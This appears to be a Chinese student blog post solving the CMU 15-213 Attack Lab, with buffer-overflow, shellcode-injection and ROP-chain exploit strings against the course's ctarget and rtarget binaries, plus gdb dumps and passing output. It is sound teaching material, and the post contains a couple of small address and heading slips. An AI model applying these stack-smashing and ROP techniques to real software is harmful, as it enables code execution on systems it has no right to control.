Skip to content

Attack Lab

Posted on:2021.09.13

TOC

Open TOC

Attack Lab

前言

由于 Ubuntu21.04 在调试 ctarget 时会出现如下的未知问题:

(gdb) run -q
Starting program: /home/vgalaxy/Lab/target1/ctarget -q
Cookie: 0x59b997fa
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e3a399 in __vfprintf_internal (s=0x7ffff7fa76c0 <_IO_2_1_stdout_>, format=0x4032b4 "Type string:",
ap=ap@entry=0x5561dbd8, mode_flags=mode_flags@entry=2) at vfprintf-internal.c:1385
1385 vfprintf-internal.c: No such file or directory.

所以实际的调试工作在 Debian10.10 上进行,而笔记的记录仍然在 Ubuntu21.04 上进行。

Debian10.10 没空间(不会)装输入法🤣

准备工作

下载对应的 tar 包,下面是各个文件的描述:

实际上对于我们这些 Self-Study 的同学而言,cookie.txt 的内容都是一样的 🤣

对于详细的实验指导,需要阅读 Writeup

之前竟然没有发现🤣

总体来说,本次 Lab 共有五个阶段,前三个阶段是攻击 ctarget 程序,后两个阶段是攻击 rtarget 程序。下面分阶段讲解。

阶段一

实验指导指出,我们的目标是利用缓冲区溢出攻击的方法,让 test 函数中调用的 getbuf 函数返回到 touch1 函数(而非原来 test 函数):

void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}

getbuf 函数中调用的 Gets 函数类似于标准库中的有缺陷的 gets 函数。

通过反汇编 ctarget 可知,ctarget 调用的 test 函数的轨迹大概是:main → stable_launch → launch → test,不过这似乎并不重要 🤣。

首先 getbuf 函数处打断点 getbuf: 0x4017b9,感受一下我们的攻击字符串是如何占据栈空间的:

0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff call 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff call 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 ret
401991: 90 nop
401992: 90 nop
401993: 90 nop
401994: 90 nop
401995: 90 nop
401996: 90 nop
401997: 90 nop
401998: 90 nop
401999: 90 nop
40199a: 90 nop
40199b: 90 nop
40199c: 90 nop
40199d: 90 nop
40199e: 90 nop
40199f: 90 nop
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop

注意我们在 run 的时候要加上参数 -q,避免和不存在的服务器通信。

(gdb) break * 0x4017b9
(gdb) run -q

我们随便输入一个攻击字符串 12345678。在 getbuf: 0x4017b9 处,寄存器 rsp 的值为 0x5561dc78,我们观察周围的内存空间情况:

(gdb) x/32wx 0x5561dc50
0x5561dc50: 0x00401a8a 0x00000000 0x55586000 0x00000000
0x5561dc60: 0x55685fe8 0x00000000 0x00000002 0x00000000
0x5561dc70: 0x004017b4 0x00000000 0x34333231 0x38373635
0x5561dc80: 0x00000000 0x00000000 0x00000000 0x00000000
0x5561dc90: 0x00000000 0x00000000 0x55586000 0x00000000
0x5561dca0: 0x00401976 0x00000000 0x00000002 0x00000000
0x5561dcb0: 0x00401f24 0x00000000 0x00000000 0x00000000
0x5561dcc0: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4

这里几个地址的含义为:

我们可以定位到 touch1 函数的位置在地址 0x4017c0 处:

00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff call 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 call 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff call 400e40 <exit@plt>

所以我们只要让攻击字符串覆盖掉返回地址 0x401976 即可。为此,我们使用工具 hex2raw

Terminal window
$ vi phase1
$ cat phase1
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
c0 17 40
$ ./hex2raw < phase1 > phase1-raw

注意字节顺序:小端法,最低有效字节在最前面(地址小)

这次再调试时,注意再加上一个参数 -i,代表攻击字符串从文件中读取:

(gdb) run -q -i phase1-raw

我们再次观察周围的内存空间情况:

(gdb) x/32wx 0x5561dc50
0x5561dc50: 0x00401a8a 0x00000000 0x55586000 0x00000000
0x5561dc60: 0x55685fe8 0x00000000 0x00000004 0x00000000
0x5561dc70: 0x004017b4 0x00000000 0x34333231 0x38373635
0x5561dc80: 0x34333231 0x38373635 0x34333231 0x38373635
0x5561dc90: 0x34333231 0x38373635 0x34333231 0x38373635
0x5561dca0: 0x004017c0 0x00000000 0x00000009 0x00000000
0x5561dcb0: 0x00401f24 0x00000000 0x00000000 0x00000000
0x5561dcc0: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4

返回地址已经被覆盖了,我们退出 gdb 来测试一下:

Terminal window
$ ./ctarget -q -i phase1-raw
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 C0 17 40

( ^_^ ) 不错嘛。

回到之前的内存空间,我们来详细解读一下,这是攻击字符串为 12345678 的情形:

(gdb) x/32wx 0x5561dc50
0x5561dc50: 0x00401a8a 0x00000000 0x55586000 0x00000000
0x5561dc60: 0x55685fe8 0x00000000 0x00000002 0x00000000
0x5561dc70: 0x004017b4 0x00000000 0x34333231 0x38373635
0x5561dc80: 0x00000000 0x00000000 0x00000000 0x00000000
0x5561dc90: 0x00000000 0x00000000 0x55586000 0x00000000
0x5561dca0: 0x00401976 0x00000000 0x00000002 0x00000000
0x5561dcb0: 0x00401f24 0x00000000 0x00000000 0x00000000
0x5561dcc0: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4

getbuf 函数的栈帧共有 48 字节。数组 buf 的起始地址为 0x5561dc78(也就是 getbuf: 0x4017b9 处寄存器 rsp 的值),大小为 32 个字节。在地址 0x5561dc98 处保存了某个东西,占用 8 个字节。与 getbuf: 0x4017a8 处一致:

4017a8: 48 83 ec 28 sub $0x28,%rsp

0x5561dc70 处存放调用 Gets 函数后的返回地址,占用 8 个字节。

test 函数的栈帧共有 16 字节。0x5561dca8 处保存了某个东西,占用 8 个字节,这与 test: 0x401968 处一致:

401968: 48 83 ec 08 sub $0x8,%rsp

0x5561dca0 处存放调用 getbuf 函数后的返回地址,占用 8 个字节。

其余的内存空间情况:

阶段二

实验指导指出,我们的目标是利用缓冲区溢出攻击的方法,让 test 函数中调用的 getbuf 函数返回到 touch2 函数(而非原来 test 函数),并且 touch2 函数有一个参数 val

void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n",val);
fail(2);
}
exit(0);
}

类似阶段一,我们可以定位到 touch2 函数的位置在地址 0x4017ec 处:

00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 call 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 call 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff call 400e40 <exit@plt>

若我们简单的修改攻击字符串中的返回地址,我们无法保证传递给 touch2 函数的参数 val(保存在寄存器 rdi 中)与我们的 cookie 相同。因而我们需要插入一段攻击代码。大体思路是让 getbuf 函数返回到我们攻击代码的首地址处,攻击代码设置寄存器 rdi 的值为 cookie,并返回到 touch2 函数。

寄存器 rdi 的值即 touch2 函数的第一个参数值

为此我们需要手写汇编代码,通过 gcc 编译后再反汇编得到对应的字节表示:

Terminal window
$ vi code.s
$ gcc -c code.s
$ objdump -d code.o > code.d
$ cat code.d
code.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq

注意这里常数前的 $,否则会触发段错误

下面的问题是如何获得攻击代码的首地址,显然我们无法直接修改 ctarget 文件,我们能够修改其运行时内存空间的唯一方法便是攻击字符串。为此,我们将攻击代码编码到攻击字符串中

Terminal window
$ vi phase2
$ cat phase2
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55
$ ./hex2raw < phase2 > phase2-raw

这里的返回地址 0x5561dc78 便是 buf 字节数组的首地址。

在断点 getbuf: 0x4017b9 调试可得:

(gdb) x/32wx 0x5561dc50
0x5561dc50: 0x00401a8a 0x00000000 0x55586000 0x00000000
0x5561dc60: 0x55685fe8 0x00000000 0x00000004 0x00000000
0x5561dc70: 0x004017b4 0x00000000 0xfac7c748 0x6859b997
0x5561dc80: 0x004017ec 0x000000c3 0x00000000 0x00000000
0x5561dc90: 0x00000000 0x00000000 0x00000000 0x00000000
0x5561dca0: 0x5561dc78 0x00000000 0x00000009 0x00000000
0x5561dcb0: 0x00401f24 0x00000000 0x00000000 0x00000000
0x5561dcc0: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4

返回地址已经被覆盖了,我们退出 gdb 来测试一下:

Terminal window
$ ./ctarget -q -i phase2-raw
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55

没有问题。

下面来详细分析攻击代码的行为。我们在 getbuf: 0x4017b9 处设置断点,并步入攻击代码(直接在 ??: 0x5561dc78 处设置断点无效)。当 getbuf 函数返回到我们攻击代码的首地址处 ??: 0x5561dc78 时,此时寄存器 rsp 的值为 0x5561dca8getbuf: 0x4017b9 处寄存器 rsp 的值为 0x5561dc78getbuf: 0x4017b9 将寄存器 rsp 加上 0x28ret 语句将寄存器 rsp 加上 0x8)。

(gdb) nexti
0x000000005561dc78 in ?? ()
(gdb) info registers
rax 0x1 1
rbx 0x55586000 1431855104
rcx 0x6068cd 6318285
rdx 0xa 10
rsi 0x35 53
rdi 0x606260 6316640
rbp 0x55685fe8 0x55685fe8
rsp 0x5561dca8 0x5561dca8
r8 0x3 3
r9 0x77 119
r10 0x606010 6316048
r11 0x246 582
r12 0x4 4
r13 0x0 0
r14 0x0 0
r15 0x0 0
rip 0x5561dc78 0x5561dc78
eflags 0x216 [ PF AF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0

??: 0x5561dc78 将寄存器 rdi 的值设置为 0x59b997fa

(gdb) nexti
0x000000005561dc7f in ?? ()
(gdb) info registers
rax 0x1 1
rbx 0x55586000 1431855104
rcx 0x6068cd 6318285
rdx 0xa 10
rsi 0x35 53
rdi 0x59b997fa 1505335290
rbp 0x55685fe8 0x55685fe8
rsp 0x5561dca8 0x5561dca8
r8 0x3 3
r9 0x77 119
r10 0x606010 6316048
r11 0x246 582
r12 0x4 4
r13 0x0 0
r14 0x0 0
r15 0x0 0
rip 0x5561dc7f 0x5561dc7f
eflags 0x216 [ PF AF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0

或者不使用硬编码,通过访问 cookie 存储的地址来进行赋值:

(gdb) x 0x6044e4
0x6044e4 <cookie>: 0x59b997fa

??: 0x5561dc7f 将返回地址压栈,寄存器 rsp 减去 0x8,此时寄存器 rsp 所指向的地址即为 touch2 函数的首地址:

(gdb) nexti
0x000000005561dc84 in ?? ()
(gdb) info registers
rax 0x1 1
rbx 0x55586000 1431855104
rcx 0x6068cd 6318285
rdx 0xa 10
rsi 0x35 53
rdi 0x59b997fa 1505335290
rbp 0x55685fe8 0x55685fe8
rsp 0x5561dca0 0x5561dca0
r8 0x3 3
r9 0x77 119
r10 0x606010 6316048
r11 0x246 582
r12 0x4 4
r13 0x0 0
r14 0x0 0
r15 0x0 0
rip 0x5561dc84 0x5561dc84
eflags 0x216 [ PF AF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) x/32wx 0x5561dc50
0x5561dc50: 0x00401a8a 0x00000000 0x55586000 0x00000000
0x5561dc60: 0x55685fe8 0x00000000 0x00000004 0x00000000
0x5561dc70: 0x004017b4 0x00000000 0xfac7c748 0x6859b997
0x5561dc80: 0x004017ec 0x000000c3 0x00000000 0x00000000
0x5561dc90: 0x00000000 0x00000000 0x00000000 0x00000000
0x5561dca0: 0x004017ec 0x00000000 0x00000009 0x00000000
0x5561dcb0: 0x00401f24 0x00000000 0x00000000 0x00000000
0x5561dcc0: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4

阶段三

实验指导指出,我们的目标是利用缓冲区溢出攻击的方法,让 test 函数中调用的 getbuf 函数返回到 touch3 函数(而非原来 test 函数),并且 touch3 函数有一个参数 sval

void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n",sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n",sval);
fail(3);
}
exit(0);
}
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char*s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

touch3 函数的首地址为 0x4018fa

00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff call 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff call 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 52 03 00 00 call 401c8d <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 60 31 40 00 mov $0x403160,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff call 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 f1 03 00 00 call 401d4f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff call 400e40 <exit@plt>

我们需要在寄存器 rdi 中存放 cookie 对应的字符串的首地址。现在的问题是字符串的首地址如何选取

起初我的想法是将地址 0x5561dc90 作为字符串的首地址:

Terminal window
$ cat code.d
code.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 90 dc 61 55 mov $0x5561dc90,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
$ cat phase3
48 c7 c7 90 dc 61 55 68 fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
78 dc 61 55

然而实际调试中发现,调用链 touch3 → hexmatch → sprintf 会破坏地址 ≤ 0x5561dca8 的内存空间(这是因为从地址 0x5561dca0 得到 getbuf 函数的返回地址后,寄存器 rsp 加上 0x8,控制转移给 touch3 函数,而 touch3 函数中还调用了 hexmatch 函数,栈便会向低地址方向增长)。

若将字符串存放在 0x5561dca40x5561dcb4 处,会触发段错误(返回地址读取 8 个字节)。

若将字符串存放在 0x5561dca80x5561dcb8 处,会少一个末尾的 0,硬要加上又会破坏调用链。

综上可知,只能将字符串存放在 0x5561dcc0 处(覆盖掉一些无意义的内容):

Terminal window
$ cat code.d
code.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 c0 dc 61 55 mov $0x5561dcc0,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
$ cat phase3
48 c7 c7 c0 dc 61 55 68 fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
00 00 00 00 00 00 00 00
24 1f 40 00 00 00 00 00
00 00 00 00 00 00 00 00
35 39 62 39 39 37 66 61 00

我们保留 launch 函数调用 test 函数后的返回地址。

在断点 getbuf: 0x4017b9 调试可得:

(gdb) x/32wx 0x5561dc50
0x5561dc50: 0x00401a8a 0x00000000 0x55586000 0x00000000
0x5561dc60: 0x55685fe8 0x00000000 0x00000004 0x00000000
0x5561dc70: 0x004017b4 0x00000000 0xc0c7c748 0x685561dc
0x5561dc80: 0x004018fa 0x000000c3 0x00000000 0x00000000
0x5561dc90: 0x00000000 0x00000000 0x00000000 0x00000000
0x5561dca0: 0x5561dc78 0x00000000 0x00000000 0x00000000
0x5561dcb0: 0x00401f24 0x00000000 0x00000000 0x00000000
0x5561dcc0: 0x39623935 0x61663739 0xf4f40000 0xf4f4f4f4
(gdb) x/s 0x5561dcc0
0x5561dcc0: "59b997fa"

来测试一下:

Terminal window
$ ./ctarget -q -i phase3-raw
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 C0 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 00 00 00 00 00 00 00 00 24 1F 40 00 00 00 00 00 00 00 00 00 00 00 00 00 35 39 62 39 39 37 66 61 00

没有问题。第一部分 Code Injection Attacks 到此结束 🤣。

阶段四

阶段四的目标与阶段二相同,只不过这次我们要攻击 rtarget 程序。

如果我们仍然使用阶段二的攻击字符串,会触发段错误:

(gdb) break * 0x4017b9
Breakpoint 1 at 0x4017b9: file buf.c, line 16.
(gdb) run -q -i phase2-raw
Starting program: /home/galaxy/Desktop/target1/rtarget -q -i phase2-raw
Cookie: 0x59b997fa
Breakpoint 1, 0x00000000004017b9 in getbuf () at buf.c:16
16 buf.c: No such file or directory.
(gdb) x/32wx 0x5561dc50
0x5561dc50: Cannot access memory at address 0x5561dc50
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x000000005561dc78 in ?? ()
(gdb) continue
Continuing.
Ouch!: You caused a segmentation fault!
Better luck next time
FAIL: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:FAIL:0xffffffff:rtarget:0:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55
[Inferior 1 (process 2258) exited with code 01]

这是因为,相较于 ctarget 程序,rtarget 程序多了两项保护措施:

所以寄存器 rsp 的值不确定了,即使我们能够定位 rsp,编码在攻击字符串中的攻击代码也没有权限被执行。

所以我们要使用新的攻击方式,简单来说,我们要利用 rtarget 程序原来就有的代码段来组织我们的攻击代码。举个例子,在 rtarget 程序中有这样一段与主程序无关的代码:

unsigned addval_273(unsigned x)
{
return x + 3284633928U;
}

这段代码也被额外保存在了 farm.c 文件中

看似平平无奇,然而反汇编后,可以得到

00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 ret

如果我们从地址 0x4019a2 开始解释代码的含义,也就是:

4019a2: 48 89 c7 movq %rax,%rdi
4019a5: c3 ret

指令编码见实验指导中的 Figure 3

唔!似乎是有点用的。官方称这段代码中包含一个 gadget,其首地址便是 0x4019a2。前面的 farm.c 文件便是 gadgetfarm

于是,我们需要使用这些 gadgets 构造出与阶段二的攻击代码语义相同的指令序列:

mov $0x59b997fa,%rdi
pushq $0x4017ec
retq

实验指导指出,我们所需的 gadgetsfarm.c 文件中 start_farm 函数和 mid_farm 函数之间,并且只需要两个 gadgets,需要的指令也只有下面四种:

经过一番对比,可知我们需要下面两个函数:

00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 ret
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 ret

思路是让 getbuf 函数返回到 0x4019ab 处,执行指令:

popq %rax
nop
ret

这里解释一下 popq 的作用,在得到 0x4019ab 的返回地址后,rsp 加上 8,此时 popq 的值便是 0x4019ab 的返回地址的高 8 个字节,我们在此存放 cookie 值(不允许执行代码,读取数据还是可行的 🤣)。

然后控制转移到 0x4019a2 处,执行指令,将 cookie 值放入寄存器 rdi 中:

movq %rax,%rdi
ret

然后控制转移到 0x4019ec 处,即 touch2 函数的位置。

于是我们的攻击字符串为:

Terminal window
$ cat phase4
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

最开始的一段字节可以忽略其意义 🤣

测试一下:

Terminal window
$ ./rtarget -q -i phase4-raw
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

没有问题。

阶段五

阶段四的目标与阶段三相同,只不过这次我们要攻击 rtarget 程序。

实验指导指出,我们所需的 gadgetsfarm.c 文件中 start_farm 函数和 end_farm 函数之间。因此,除了阶段四的四种指令,我们还多出了下面两种指令:

问题仍然是在哪里保存 cookie 字符串。起初我的想法是找到一个 gadget,其指令序列为先 mov 寄存器 rsp 到某个寄存器,然后 popqrsp 加上 8(避免让编码的字符串作为返回地址),最后返回,字符串就保存在返回地址的前面 8 个字节中,并且还要求返回地址的低 2 个字节为 00,作为字符串的结尾。

然而找遍了 farm 也没有符合上述要求的 gadget 🤣。于是换个思路,考虑 farm 中的 add_xy 函数,其反汇编代码为:

00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 ret

我们可以完整利用这个函数。考虑在某个时刻保存寄存器 rsp 的值,计算存放 cookie 字符串的首地址与当时寄存器 rsp偏移量,并硬编码在攻击字符串中。这样通过调用 add_xy 函数,存放 cookie 字符串的首地址便在寄存器 rax 中了。

于是我们分为六步进行,之所以要用这么多 mov 指令,是因为 farm 中只提供了这些可用的 gadgets 🤣:

movl 指令会将目的寄存器的高 4 个字节置 0,不过这里的偏移量并不大,使用低 4 个字节表示足够表示了 🤣

对应的,我们可以写出攻击字符串:

Terminal window
$ cat phase5
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
42 1a 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00

这里的偏移量为 0x48,当时寄存器 rsp 的值即为 a2 19 40 00 00 00 00 00 这一行(第一次出现),由此往下数 9 行就可以看到编码后的 cookie 字符串。

来测试一下:

Terminal window
$ ./rtarget -q -i phase5-raw
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 42 1A 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00

没有问题,于是第二部分 Return-Oriented Programming 到此结束 🤣

完结撒花 🤗